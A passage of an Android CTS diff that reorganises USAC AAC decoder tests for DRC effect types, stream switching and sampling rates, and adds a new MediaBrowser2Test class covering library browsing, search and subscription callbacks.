- Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/1/1 for dec=" + aacDecName);
- throw new RuntimeException(e);
- }
+ // test DRC effectTypeID 6 "GENERAL"
+ // L +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
+ // R -3dB -> normalization factor = 1/(10^(-3/10)) = 0.5011f
+ try {
+ checkUsacDrcEffectType(6, 3.9810f, 0.5011f, "General", 2, 0, aacDecName);
+ } catch (Exception e) {
+ Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a General/2/0 failed for dec="
+ + aacDecName);
+ throw new RuntimeException(e);
+ }
- // test DRC effectTypeID 2 "NOISY"
- // L +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
- // R -9dB -> normalization factor = 1/(10^(-9/10)) = 0.1258f
- // mono +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
- try {
- checkUsacDrcEffectType(2, 3.9810f, 0.1258f, "Noisy", 2, 1, aacDecName);
- } catch (Exception e) {
- Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Noisy/2/1 for dec=" + aacDecName);
- throw new RuntimeException(e);
- }
- try {
- checkUsacDrcEffectType(2, 3.9810f, 0.0f, "Noisy", 1, 1, aacDecName);
- } catch (Exception e) {
- Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/2/1 for dec=" + aacDecName);
- throw new RuntimeException(e);
- }
+ // test DRC effectTypeID 1 "NIGHT"
+ // L -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
+ // R +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
+ // mono -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
+ try {
+ checkUsacDrcEffectType(1, 0.2511f, 3.9810f, "Night", 2, 1, aacDecName);
+ } catch (Exception e) {
+ Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/2/1 for dec=" + aacDecName);
+ throw new RuntimeException(e);
+ }
+ try {
+ checkUsacDrcEffectType(1, 0.2511f, 0.0f, "Night", 1, 1, aacDecName);
+ } catch (Exception e) {
+ Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/1/1 for dec=" + aacDecName);
+ throw new RuntimeException(e);
+ }
- // test DRC effectTypeID 3 "LIMITED"
- // L -9dB -> normalization factor = 1/(10^(-9/10)) = 0.1258f
- // R +9dB -> normalization factor = 1/(10^( 9/10)) = 7.9432f
- // mono -9dB -> normalization factor = 1/(10^(-9/10)) = 0.1258f
- try {
- checkUsacDrcEffectType(3, 0.1258f, 7.9432f, "Limited", 2, 1, aacDecName);
- } catch (Exception e) {
- Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Limited/2/1 for dec=" + aacDecName);
- throw new RuntimeException(e);
- }
- try {
- checkUsacDrcEffectType(3, 0.1258f, 0.0f, "Limited", 1, 1, aacDecName);
- } catch (Exception e) {
- Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Limited/1/1 for dec=" + aacDecName);
- throw new RuntimeException(e);
- }
+ // test DRC effectTypeID 2 "NOISY"
+ // L +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
+ // R -9dB -> normalization factor = 1/(10^(-9/10)) = 0.1258f
+ // mono +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
+ try {
+ checkUsacDrcEffectType(2, 3.9810f, 0.1258f, "Noisy", 2, 1, aacDecName);
+ } catch (Exception e) {
+ Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Noisy/2/1 for dec=" + aacDecName);
+ throw new RuntimeException(e);
+ }
+ try {
+ checkUsacDrcEffectType(2, 3.9810f, 0.0f, "Noisy", 1, 1, aacDecName);
+ } catch (Exception e) {
+ Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/2/1 for dec=" + aacDecName);
+ throw new RuntimeException(e);
+ }
- // test DRC effectTypeID 6 "GENERAL"
- // L +9dB -> normalization factor = 1/(10^( 9/10)) = 7.9432f
- // R -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
- // mono +9dB -> normalization factor = 1/(10^( 9/10)) = 7.9432f
- try {
- checkUsacDrcEffectType(6, 7.9432f, 0.2511f, "General", 2, 1, aacDecName);
- } catch (Exception e) {
- Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a General/2/1 for dec=" + aacDecName);
- throw new RuntimeException(e);
- }
- try {
- checkUsacDrcEffectType(6, 7.9432f, 0.0f, "General", 1, 1, aacDecName);
- } catch (Exception e) {
- Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a General/1/1 for dec=" + aacDecName);
- throw new RuntimeException(e);
- }
+ // test DRC effectTypeID 3 "LIMITED"
+ // L -9dB -> normalization factor = 1/(10^(-9/10)) = 0.1258f
+ // R +9dB -> normalization factor = 1/(10^( 9/10)) = 7.9432f
+ // mono -9dB -> normalization factor = 1/(10^(-9/10)) = 0.1258f
+ try {
+ checkUsacDrcEffectType(3, 0.1258f, 7.9432f, "Limited", 2, 1, aacDecName);
+ } catch (Exception e) {
+ Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Limited/2/1 for dec=" + aacDecName);
+ throw new RuntimeException(e);
+ }
+ try {
+ checkUsacDrcEffectType(3, 0.1258f, 0.0f, "Limited", 1, 1, aacDecName);
+ } catch (Exception e) {
+ Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Limited/1/1 for dec=" + aacDecName);
+ throw new RuntimeException(e);
+ }
+
+ // test DRC effectTypeID 6 "GENERAL"
+ // L +9dB -> normalization factor = 1/(10^( 9/10)) = 7.9432f
+ // R -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
+ // mono +9dB -> normalization factor = 1/(10^( 9/10)) = 7.9432f
+ try {
+ checkUsacDrcEffectType(6, 7.9432f, 0.2511f, "General", 2, 1, aacDecName);
+ } catch (Exception e) {
+ Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a General/2/1 for dec=" + aacDecName);
+ throw new RuntimeException(e);
+ }
+ try {
+ checkUsacDrcEffectType(6, 7.9432f, 0.0f, "General", 1, 1, aacDecName);
+ } catch (Exception e) {
+ Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a General/1/1 for dec=" + aacDecName);
+ throw new RuntimeException(e);
}
}
@@ -215,52 +223,61 @@
assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
for (String aacDecName : sAacDecoderNames) {
- // Stereo
- // switch between SBR ratios and stereo modes
try {
- checkUsacStreamSwitching(2.5459829E12f, 2,
- R.raw.noise_2ch_44_1khz_aot42_19_lufs_config_change_mp4, aacDecName);
- } catch (Exception e) {
- Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 2ch sbr/stereo switch for "
- + aacDecName);
- throw new RuntimeException(e);
- }
-
- // Mono
- // switch between SBR ratios and stereo modes
- try {
- checkUsacStreamSwitching(2.24669126E12f, 1,
- R.raw.noise_1ch_38_4khz_aot42_19_lufs_config_change_mp4, aacDecName);
- } catch (Exception e) {
- Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 1ch sbr/stereo switch for "
- + aacDecName);
- throw new RuntimeException(e);
- }
-
- // Stereo
- // switch between USAC modes
- try {
- checkUsacStreamSwitching(2.1E12f, 2,
- R.raw.noise_2ch_35_28khz_aot42_19_lufs_drc_config_change_mp4, aacDecName);
- } catch (Exception e) {
- Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 2ch USAC mode switch for "
- + aacDecName);
- throw new RuntimeException(e);
- }
-
- // Mono
- // switch between USAC modes
- try {
- checkUsacStreamSwitching(1.7E12f, 1,
- R.raw.noise_1ch_29_4khz_aot42_19_lufs_drc_config_change_mp4, aacDecName);
- } catch (Exception e) {
- Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 1ch USAC mode switch for "
- + aacDecName);
- throw new RuntimeException(e);
+ runDecodeUsacStreamSwitchingM4a(aacDecName);
+ } catch (Error err) {
+ throw new Error(err.getMessage() + " [dec=" + aacDecName + "]" , err);
}
}
}
+ private void runDecodeUsacStreamSwitchingM4a(String aacDecName) throws Exception {
+ // Stereo
+ // switch between SBR ratios and stereo modes
+ try {
+ checkUsacStreamSwitching(2.5459829E12f, 2,
+ R.raw.noise_2ch_44_1khz_aot42_19_lufs_config_change_mp4, aacDecName);
+ } catch (Exception e) {
+ Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 2ch sbr/stereo switch for "
+ + aacDecName);
+ throw new RuntimeException(e);
+ }
+
+ // Mono
+ // switch between SBR ratios and stereo modes
+ try {
+ checkUsacStreamSwitching(2.24669126E12f, 1,
+ R.raw.noise_1ch_38_4khz_aot42_19_lufs_config_change_mp4, aacDecName);
+ } catch (Exception e) {
+ Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 1ch sbr/stereo switch for "
+ + aacDecName);
+ throw new RuntimeException(e);
+ }
+
+ // Stereo
+ // switch between USAC modes
+ try {
+ checkUsacStreamSwitching(2.1E12f, 2,
+ R.raw.noise_2ch_35_28khz_aot42_19_lufs_drc_config_change_mp4, aacDecName);
+ } catch (Exception e) {
+ Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 2ch USAC mode switch for "
+ + aacDecName);
+ throw new RuntimeException(e);
+ }
+
+ // Mono
+ // switch between USAC modes
+ try {
+ checkUsacStreamSwitching(1.7E12f, 1,
+ R.raw.noise_1ch_29_4khz_aot42_19_lufs_drc_config_change_mp4, aacDecName);
+ } catch (Exception e) {
+ Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 1ch USAC mode switch for "
+ + aacDecName);
+ throw new RuntimeException(e);
+ }
+
+ }
+
/**
* Verify the correct decoding of USAC bitstreams with various sampling rates.
*/
@@ -272,20 +289,28 @@
for (String aacDecName : sAacDecoderNames) {
try {
- checkUsacSamplingRate(R.raw.noise_2ch_08khz_aot42_19_lufs_mp4, aacDecName);
- checkUsacSamplingRate(R.raw.noise_2ch_12khz_aot42_19_lufs_mp4, aacDecName);
- checkUsacSamplingRate(R.raw.noise_2ch_22_05khz_aot42_19_lufs_mp4, aacDecName);
- checkUsacSamplingRate(R.raw.noise_2ch_64khz_aot42_19_lufs_mp4, aacDecName);
- checkUsacSamplingRate(R.raw.noise_2ch_88_2khz_aot42_19_lufs_mp4, aacDecName);
- checkUsacSamplingRateWoLoudness(R.raw.noise_2ch_19_2khz_aot42_no_ludt_mp4,
- aacDecName);
- } catch (Exception e) {
- Log.v(TAG, "testDecodeUsacSamplingRatesM4a for decoder" + aacDecName);
- throw new RuntimeException(e);
+ runDecodeUsacSamplingRatesM4a(aacDecName);
+ } catch (Error err) {
+ throw new Error(err.getMessage() + " [dec=" + aacDecName + "]" , err);
}
}
}
+ private void runDecodeUsacSamplingRatesM4a(String aacDecName) throws Exception {
+ try {
+ checkUsacSamplingRate(R.raw.noise_2ch_08khz_aot42_19_lufs_mp4, aacDecName);
+ checkUsacSamplingRate(R.raw.noise_2ch_12khz_aot42_19_lufs_mp4, aacDecName);
+ checkUsacSamplingRate(R.raw.noise_2ch_22_05khz_aot42_19_lufs_mp4, aacDecName);
+ checkUsacSamplingRate(R.raw.noise_2ch_64khz_aot42_19_lufs_mp4, aacDecName);
+ checkUsacSamplingRate(R.raw.noise_2ch_88_2khz_aot42_19_lufs_mp4, aacDecName);
+ checkUsacSamplingRateWoLoudness(R.raw.noise_2ch_19_2khz_aot42_no_ludt_mp4,
+ aacDecName);
+ } catch (Exception e) {
+ Log.v(TAG, "testDecodeUsacSamplingRatesM4a for decoder" + aacDecName);
+ throw new RuntimeException(e);
+ }
+ }
+
/**
* Internal utilities
@@ -437,7 +462,7 @@
}
/**
- * Same as {@link #checkEnergyUSAC(short[], AudioParameter, int, int)} but with DRC effec type
+ * Same as {@link #checkEnergyUSAC(short[], AudioParameter, int, int)} but with DRC effect type
* @param decSamples
* @param decParams
* @param encNch
diff --git a/tests/tests/media/src/android/media/cts/MediaBrowser2Test.java b/tests/tests/media/src/android/media/cts/MediaBrowser2Test.java
new file mode 100644
index 0000000..9ced5b1
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaBrowser2Test.java
@@ -0,0 +1,672 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static android.media.cts.MockMediaLibraryService2.EXTRAS;
+import static android.media.cts.MockMediaLibraryService2.ROOT_ID;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertNotNull;
+import static junit.framework.Assert.assertNull;
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+
+import static org.junit.Assert.assertNotEquals;
+
+import android.annotation.Nullable;
+import android.content.Context;
+import android.media.MediaBrowser2;
+import android.media.MediaBrowser2.BrowserCallback;
+import android.media.MediaController2;
+import android.media.MediaController2.ControllerCallback;
+import android.media.MediaItem2;
+import android.media.MediaLibraryService2.MediaLibrarySession;
+import android.media.MediaLibraryService2.MediaLibrarySession.MediaLibrarySessionCallback;
+import android.media.MediaMetadata2;
+import android.media.MediaSession2;
+import android.media.MediaSession2.CommandButton;
+import android.media.MediaSession2.ControllerInfo;
+import android.media.SessionCommand2;
+import android.media.SessionCommandGroup2;
+import android.media.SessionToken2;
+import android.os.Bundle;
+import android.os.Process;
+import android.os.ResultReceiver;
+
+import androidx.annotation.CallSuper;
+import androidx.annotation.NonNull;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import junit.framework.Assert;
+
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.lang.reflect.Method;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests {@link MediaBrowser2}.
+ * <p>
+ * This test inherits {@link MediaController2Test} to ensure that inherited APIs from
+ * {@link MediaController2} works cleanly.
+ */
+// TODO(jaewan): Implement host-side test so browser and service can run in different processes.
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@Ignore
+public class MediaBrowser2Test extends MediaController2Test {
+ private static final String TAG = "MediaBrowser2Test";
+
+ @Override
+ TestControllerInterface onCreateController(@NonNull SessionToken2 token,
+ @Nullable ControllerCallback callback) {
+ if (callback == null) {
+ callback = new BrowserCallback() {};
+ }
+ return new TestMediaBrowser(mContext, token, new TestBrowserCallback(callback));
+ }
+
+ /**
+ * Test if the {@link TestBrowserCallback} wraps the callback proxy without missing any method.
+ */
+ @Test
+ public void testTestBrowserCallback() {
+ Method[] methods = TestBrowserCallback.class.getMethods();
+ assertNotNull(methods);
+ for (int i = 0; i < methods.length; i++) {
+ // For any methods in the controller callback, TestControllerCallback should have
+ // overriden the method and call matching API in the callback proxy.
+ assertNotEquals("TestBrowserCallback should override " + methods[i]
+ + " and call callback proxy",
+ BrowserCallback.class, methods[i].getDeclaringClass());
+ }
+ }
+
+ @Test
+ public void testGetLibraryRoot() throws InterruptedException {
+ final Bundle param = new Bundle();
+ param.putString(TAG, TAG);
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final BrowserCallback callback = new BrowserCallback() {
+ @Override
+ public void onGetLibraryRootDone(MediaBrowser2 browser,
+ Bundle rootHints, String rootMediaId, Bundle rootExtra) {
+ assertTrue(TestUtils.equals(param, rootHints));
+ assertEquals(ROOT_ID, rootMediaId);
+ assertTrue(TestUtils.equals(EXTRAS, rootExtra));
+ latch.countDown();
+ }
+ };
+
+ final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+ MediaBrowser2 browser =
+ (MediaBrowser2) createController(token,true, callback);
+ browser.getLibraryRoot(param);
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Test
+ public void testGetItem() throws InterruptedException {
+ final String mediaId = MockMediaLibraryService2.MEDIA_ID_GET_ITEM;
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final BrowserCallback callback = new BrowserCallback() {
+ @Override
+ public void onGetItemDone(MediaBrowser2 browser, String mediaIdOut, MediaItem2 result) {
+ assertEquals(mediaId, mediaIdOut);
+ assertNotNull(result);
+ assertEquals(mediaId, result.getMediaId());
+ latch.countDown();
+ }
+ };
+
+ final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+ MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+ browser.getItem(mediaId);
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Test
+ public void testGetItemNullResult() throws InterruptedException {
+ final String mediaId = "random_media_id";
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final BrowserCallback callback = new BrowserCallback() {
+ @Override
+ public void onGetItemDone(MediaBrowser2 browser, String mediaIdOut, MediaItem2 result) {
+ assertEquals(mediaId, mediaIdOut);
+ assertNull(result);
+ latch.countDown();
+ }
+ };
+
+ final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+ MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+ browser.getItem(mediaId);
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Test
+ public void testGetChildren() throws InterruptedException {
+ final String parentId = MockMediaLibraryService2.PARENT_ID;
+ final int page = 4;
+ final int pageSize = 10;
+ final Bundle extras = new Bundle();
+ extras.putString(TAG, TAG);
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final BrowserCallback callback = new BrowserCallback() {
+ @Override
+ public void onGetChildrenDone(MediaBrowser2 browser, String parentIdOut, int pageOut,
+ int pageSizeOut, List<MediaItem2> result, Bundle extrasOut) {
+ assertEquals(parentId, parentIdOut);
+ assertEquals(page, pageOut);
+ assertEquals(pageSize, pageSizeOut);
+ assertTrue(TestUtils.equals(extras, extrasOut));
+ assertNotNull(result);
+
+ int fromIndex = (page - 1) * pageSize;
+ int toIndex = Math.min(page * pageSize, MockMediaLibraryService2.CHILDREN_COUNT);
+
+ // Compare the given results with originals.
+ for (int originalIndex = fromIndex; originalIndex < toIndex; originalIndex++) {
+ int relativeIndex = originalIndex - fromIndex;
+ Assert.assertEquals(
+ MockMediaLibraryService2.GET_CHILDREN_RESULT.get(originalIndex)
+ .getMediaId(),
+ result.get(relativeIndex).getMediaId());
+ }
+ latch.countDown();
+ }
+ };
+
+ final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+ MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+ browser.getChildren(parentId, page, pageSize, extras);
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Test
+ public void testGetChildrenEmptyResult() throws InterruptedException {
+ final String parentId = MockMediaLibraryService2.PARENT_ID_NO_CHILDREN;
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final BrowserCallback callback = new BrowserCallback() {
+ @Override
+ public void onGetChildrenDone(MediaBrowser2 browser, String parentIdOut,
+ int pageOut, int pageSizeOut, List<MediaItem2> result, Bundle extrasOut) {
+ assertNotNull(result);
+ assertEquals(0, result.size());
+ latch.countDown();
+ }
+ };
+
+ final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+ MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+ browser.getChildren(parentId, 1, 1, null);
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Test
+ public void testGetChildrenNullResult() throws InterruptedException {
+ final String parentId = MockMediaLibraryService2.PARENT_ID_ERROR;
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final BrowserCallback callback = new BrowserCallback() {
+ @Override
+ public void onGetChildrenDone(MediaBrowser2 browser, String parentIdOut,
+ int pageOut, int pageSizeOut, List<MediaItem2> result, Bundle extrasOut) {
+ assertNull(result);
+ latch.countDown();
+ }
+ };
+
+ final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+ MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+ browser.getChildren(parentId, 1, 1, null);
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Ignore
+ @Test
+ public void testSearch() throws InterruptedException {
+ final String query = MockMediaLibraryService2.SEARCH_QUERY;
+ final int page = 4;
+ final int pageSize = 10;
+ final Bundle extras = new Bundle();
+ extras.putString(TAG, TAG);
+
+ final CountDownLatch latchForSearch = new CountDownLatch(1);
+ final CountDownLatch latchForGetSearchResult = new CountDownLatch(1);
+ final BrowserCallback callback = new BrowserCallback() {
+ @Override
+ public void onSearchResultChanged(MediaBrowser2 browser,
+ String queryOut, int itemCount, Bundle extrasOut) {
+ assertEquals(query, queryOut);
+ assertTrue(TestUtils.equals(extras, extrasOut));
+ assertEquals(MockMediaLibraryService2.SEARCH_RESULT_COUNT, itemCount);
+ latchForSearch.countDown();
+ }
+
+ @Override
+ public void onGetSearchResultDone(MediaBrowser2 browser, String queryOut,
+ int pageOut, int pageSizeOut, List<MediaItem2> result, Bundle extrasOut) {
+ assertEquals(query, queryOut);
+ assertEquals(page, pageOut);
+ assertEquals(pageSize, pageSizeOut);
+ assertTrue(TestUtils.equals(extras, extrasOut));
+ assertNotNull(result);
+
+ int fromIndex = (page - 1) * pageSize;
+ int toIndex = Math.min(
+ page * pageSize, MockMediaLibraryService2.SEARCH_RESULT_COUNT);
+
+ // Compare the given results with originals.
+ for (int originalIndex = fromIndex; originalIndex < toIndex; originalIndex++) {
+ int relativeIndex = originalIndex - fromIndex;
+ Assert.assertEquals(
+ MockMediaLibraryService2.SEARCH_RESULT.get(originalIndex).getMediaId(),
+ result.get(relativeIndex).getMediaId());
+ }
+ latchForGetSearchResult.countDown();
+ }
+ };
+
+ // Request the search.
+ final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+ MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+ browser.search(query, extras);
+ assertTrue(latchForSearch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+
+ // Get the search result.
+ browser.getSearchResult(query, page, pageSize, extras);
+ assertTrue(latchForGetSearchResult.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Test
+ public void testSearchTakesTime() throws InterruptedException {
+ final String query = MockMediaLibraryService2.SEARCH_QUERY_TAKES_TIME;
+ final Bundle extras = new Bundle();
+ extras.putString(TAG, TAG);
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final BrowserCallback callback = new BrowserCallback() {
+ @Override
+ public void onSearchResultChanged(
+ MediaBrowser2 browser, String queryOut, int itemCount, Bundle extrasOut) {
+ assertEquals(query, queryOut);
+ assertTrue(TestUtils.equals(extras, extrasOut));
+ assertEquals(MockMediaLibraryService2.SEARCH_RESULT_COUNT, itemCount);
+ latch.countDown();
+ }
+ };
+
+ final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+ MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+ browser.search(query, extras);
+ assertTrue(latch.await(
+ MockMediaLibraryService2.SEARCH_TIME_IN_MS + WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Test
+ public void testSearchEmptyResult() throws InterruptedException {
+ final String query = MockMediaLibraryService2.SEARCH_QUERY_EMPTY_RESULT;
+ final Bundle extras = new Bundle();
+ extras.putString(TAG, TAG);
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final BrowserCallback callback = new BrowserCallback() {
+ @Override
+ public void onSearchResultChanged(
+ MediaBrowser2 browser, String queryOut, int itemCount, Bundle extrasOut) {
+ assertEquals(query, queryOut);
+ assertTrue(TestUtils.equals(extras, extrasOut));
+ assertEquals(0, itemCount);
+ latch.countDown();
+ }
+ };
+
+ final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+ MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+ browser.search(query, extras);
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Test
+ public void testSubscribe() throws InterruptedException {
+ final String testParentId = "testSubscribeId";
+ final Bundle testExtras = new Bundle();
+ testExtras.putString(testParentId, testParentId);
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final MediaLibrarySessionCallback callback = new MediaLibrarySessionCallback() {
+ @Override
+ public void onSubscribe(@NonNull MediaLibrarySession session,
+ @NonNull ControllerInfo info, @NonNull String parentId,
+ @Nullable Bundle extras) {
+ if (Process.myUid() == info.getUid()) {
+ assertEquals(testParentId, parentId);
+ assertTrue(TestUtils.equals(testExtras, extras));
+ latch.countDown();
+ }
+ }
+ };
+ TestServiceRegistry.getInstance().setSessionCallback(callback);
+ final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+ MediaBrowser2 browser = (MediaBrowser2) createController(token);
+ browser.subscribe(testParentId, testExtras);
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Ignore
+ @Test
+ public void testUnsubscribe() throws InterruptedException {
+ final String testParentId = "testUnsubscribeId";
+ final CountDownLatch latch = new CountDownLatch(1);
+ final MediaLibrarySessionCallback callback = new MediaLibrarySessionCallback() {
+ @Override
+ public void onUnsubscribe(@NonNull MediaLibrarySession session,
+ @NonNull ControllerInfo info, @NonNull String parentId) {
+ if (Process.myUid() == info.getUid()) {
+ assertEquals(testParentId, parentId);
+ latch.countDown();
+ }
+ }
+ };
+ TestServiceRegistry.getInstance().setSessionCallback(callback);
+ final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+ MediaBrowser2 browser = (MediaBrowser2) createController(token);
+ browser.unsubscribe(testParentId);
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Test
+ public void testBrowserCallback_notifyChildrenChanged() throws InterruptedException {
+ // TODO(jaewan): Add test for the notifyChildrenChanged itself.
+ final String testParentId1 = "testBrowserCallback_notifyChildrenChanged_unexpectedParent";
+ final String testParentId2 = "testBrowserCallback_notifyChildrenChanged";
+ final int testChildrenCount = 101;
+ final Bundle testExtras = new Bundle();
+ testExtras.putString(testParentId1, testParentId1);
+
+ final CountDownLatch latch = new CountDownLatch(3);
+ final MediaLibrarySessionCallback sessionCallback =
+ new MediaLibrarySessionCallback() {
+ @Override
+ public SessionCommandGroup2 onConnect(@NonNull MediaSession2 session,
+ @NonNull ControllerInfo controller) {
+ if (Process.myUid() == controller.getUid()) {
+ assertTrue(session instanceof MediaLibrarySession);
+ if (mSession != null) {
+ mSession.close();
+ }
+ mSession = session;
+ // Shouldn't trigger onChildrenChanged() for the browser, because it
+ // hasn't subscribed.
+ ((MediaLibrarySession) session).notifyChildrenChanged(
+ testParentId1, testChildrenCount, null);
+ ((MediaLibrarySession) session).notifyChildrenChanged(
+ controller, testParentId1, testChildrenCount, null);
+ }
+ return super.onConnect(session, controller);
+ }
+
+ @Override
+ public void onSubscribe(@NonNull MediaLibrarySession session,
+ @NonNull ControllerInfo info, @NonNull String parentId,
+ @Nullable Bundle extras) {
+ if (Process.myUid() == info.getUid()) {
+ session.notifyChildrenChanged(testParentId2, testChildrenCount, null);
+ session.notifyChildrenChanged(info, testParentId2, testChildrenCount,
+ testExtras);
+ }
+ }
+ };
+ final BrowserCallback controllerCallbackProxy =
+ new BrowserCallback() {
+ @Override
+ public void onChildrenChanged(MediaBrowser2 browser, String parentId,
+ int itemCount, Bundle extras) {
+ switch ((int) latch.getCount()) {
+ case 3:
+ assertEquals(testParentId2, parentId);
+ assertEquals(testChildrenCount, itemCount);
+ assertNull(extras);
+ latch.countDown();
+ break;
+ case 2:
+ assertEquals(testParentId2, parentId);
+ assertEquals(testChildrenCount, itemCount);
+ assertTrue(TestUtils.equals(testExtras, extras));
+ latch.countDown();
+ break;
+ default:
+ // Unexpected call.
+ fail();
+ }
+ }
+ };
+ TestServiceRegistry.getInstance().setSessionCallback(sessionCallback);
+ final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+ final MediaBrowser2 browser = (MediaBrowser2) createController(
+ token, true, controllerCallbackProxy);
+ assertTrue(mSession instanceof MediaLibrarySession);
+ browser.subscribe(testParentId2, null);
+ // This ensures that onChildrenChanged() is only called for the expected reasons.
+ assertFalse(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ public static class TestBrowserCallback extends BrowserCallback
+ implements WaitForConnectionInterface {
+ private final ControllerCallback mCallbackProxy;
+ public final CountDownLatch connectLatch = new CountDownLatch(1);
+ public final CountDownLatch disconnectLatch = new CountDownLatch(1);
+
+ TestBrowserCallback(ControllerCallback callbackProxy) {
+ if (callbackProxy == null) {
+ throw new IllegalArgumentException("Callback proxy shouldn't be null. Test bug");
+ }
+ mCallbackProxy = callbackProxy;
+ }
+
+ @CallSuper
+ @Override
+ public void onConnected(MediaController2 controller, SessionCommandGroup2 commands) {
+ connectLatch.countDown();
+ }
+
+ @CallSuper
+ @Override
+ public void onDisconnected(MediaController2 controller) {
+ disconnectLatch.countDown();
+ }
+
+ @Override
+ public void waitForConnect(boolean expect) throws InterruptedException {
+ if (expect) {
+ assertTrue(connectLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ } else {
+ assertFalse(connectLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Override
+ public void waitForDisconnect(boolean expect) throws InterruptedException {
+ if (expect) {
